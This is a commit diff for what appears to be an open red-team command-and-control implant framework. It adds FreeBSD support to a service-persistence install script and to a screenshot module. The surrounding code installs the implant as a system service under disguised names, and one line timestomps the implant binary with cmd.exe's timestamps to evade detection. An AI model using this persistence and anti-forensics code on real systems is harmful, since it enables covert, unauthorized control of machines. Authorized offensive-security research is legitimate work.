Update screenshot impl and install script for BSD support (#2120)

- Update `bsdinit_template` in `main.eldritch` to daemonize the process properly using `/usr/sbin/daemon` and correctly pass flags.
- Adjust condition checking for BSD in `main.eldritch` to rely on `PLATFORM_BSD`.
- Remove the empty `service_configs` default entries in `main.eldritch`.
- Modify `Cargo.toml` and `screenshot_impl.rs` in `eldritch-libreport` to explicitly check `not(any(target_os = "linux", target_os = "freebsd"))` when restricting Xcap and Image screenshot functionalities, extending identical Linux limitations to FreeBSD.

Co-authored-by: google-labs-jules[bot] <161369871+google-labs-jules[bot]@users.noreply.github.com>

Author: hulto

implants/imix/install_scripts/install_service/main.eldritch

@@ -153,9 +153,9 @@ name="{{ service_name }}"
 rcvar="{{ service_name }}_enable"
 
 # The command to start the service
-command="{{ service_start_cmd }}"
+command="/usr/sbin/daemon"
 # Additional command arguments if any
-command_args=""
+command_args="-f {{ service_start_cmd }}"
 
 # Load the rc.subr script
 load_rc_config $name
@@ -226,7 +226,7 @@ def is_using_sysvinit():
 def is_using_bsdinit():
     # Lol this is how ansible does it too :shrug:
     # https://github.com/ansible/ansible/blob/386edc666ec2a053b4d576fc4b2deeb46fe492b8/lib/ansible/module_utils/facts/system/service_mgr.py#L124
-    if sys.get_os()['platform'] == "BSD":
+    if sys.get_os()['platform'] == "PLATFORM_BSD":
         return True
     return False
 
@@ -368,7 +368,7 @@ def persist_service(service_name, service_desc, executable_path, executable_args
         sys.shell(f"""powershell /c "\$src = Get-Item 'C:\\Windows\\System32\\cmd.exe'; \$tgt = Get-Item '{executable_path}'; $tgt.CreationTime = $src.CreationTime; $tgt.LastWriteTime = $src.LastWriteTime; $tgt.LastAccessTime = $src.LastAccessTime" """)
         windows_service_manager(
             service_name, windows_display_name, service_desc, executable_path, executable_args)
-    elif sys.get_os()['platform'] == "BSD":
+    elif sys.get_os()['platform'] == "PLATFORM_BSD":
         file.copy(src_path, executable_path)
         if is_using_bsdinit():
             bsdinit(service_name, service_desc,
@@ -400,7 +400,7 @@ def get_executable_paths(name):
         return[ "/var/root/"+name]
     elif sys.is_windows():
         return ["C:\\Windows\\System32\\"+name+".exe"] # ok
-    elif sys.get_os()['platform'] == "BSD":
+    elif sys.get_os()['platform'] == "PLATFORM_BSD":
         return ["/bin/"+name]
     return False
 
@@ -440,27 +440,6 @@ it after running the install.
 def main():
     config_data = {
         "service_configs": [
-            {
-                "name": "imixsvc1",
-                "windows_display_name": "Imix c2 agent",
-                "description": "Imix C2 Agent",
-                "executable_name": "imix1",
-                "executable_args": ""
-            },
-            {
-                "name": "imixsvc2",
-                "windows_display_name": "Imix c2 agent",
-                "description": "Imix C2 Agent",
-                "executable_name": "systemd-imix2",
-                "executable_args": ""
-            },
-            {
-                "name": "imixsvc3",
-                "windows_display_name": "Imix c2 agent",
-                "description": "Imix C2 Agent",
-                "executable_name": "imix3",
-                "executable_args": ""
-            }
         ]
     }
     parse_and_persist(config_data)

implants/lib/eldritch/stdlib/eldritch-libreport/Cargo.toml

@@ -13,7 +13,7 @@ spin = { version = "0.10.0", features = ["rwlock"] }
 glob = { workspace = true }
 log = { workspace = true }
 
-[target.'cfg(not(target_os = "linux"))'.dependencies]
+[target.'cfg(not(any(target_os = "linux", target_os = "freebsd")))'.dependencies]
 xcap = { workspace = true, optional = true }
 image = { version = "0.25", optional = true }
 

implants/lib/eldritch/stdlib/eldritch-libreport/src/std/screenshot_impl.rs

@@ -1,7 +1,7 @@
 use alloc::sync::Arc;
 use eldritch_agent::{Agent, Context};
 
-#[cfg(not(target_os = "linux"))]
+#[cfg(not(any(target_os = "linux", target_os = "freebsd")))]
 use {
     alloc::format,
     alloc::string::{String, ToString},
@@ -36,14 +36,14 @@ fn get_hostname() -> String {
     "unknown".to_string()
 }
 
-#[cfg(target_os = "linux")]
+#[cfg(any(target_os = "linux", target_os = "freebsd"))]
 pub fn screenshot(agent: Arc<dyn Agent>, context: Context) -> Result<(), String> {
     return Err(
         "This OS isn't supported by the screenshot function.\nOnly windows and mac systems are supported".to_string()
     );
 }
 
-#[cfg(not(target_os = "linux"))]
+#[cfg(not(any(target_os = "linux", target_os = "freebsd")))]
 pub fn screenshot(agent: Arc<dyn Agent>, context: Context) -> Result<(), String> {
     let monitors = Monitor::all().map_err(|e| e.to_string())?;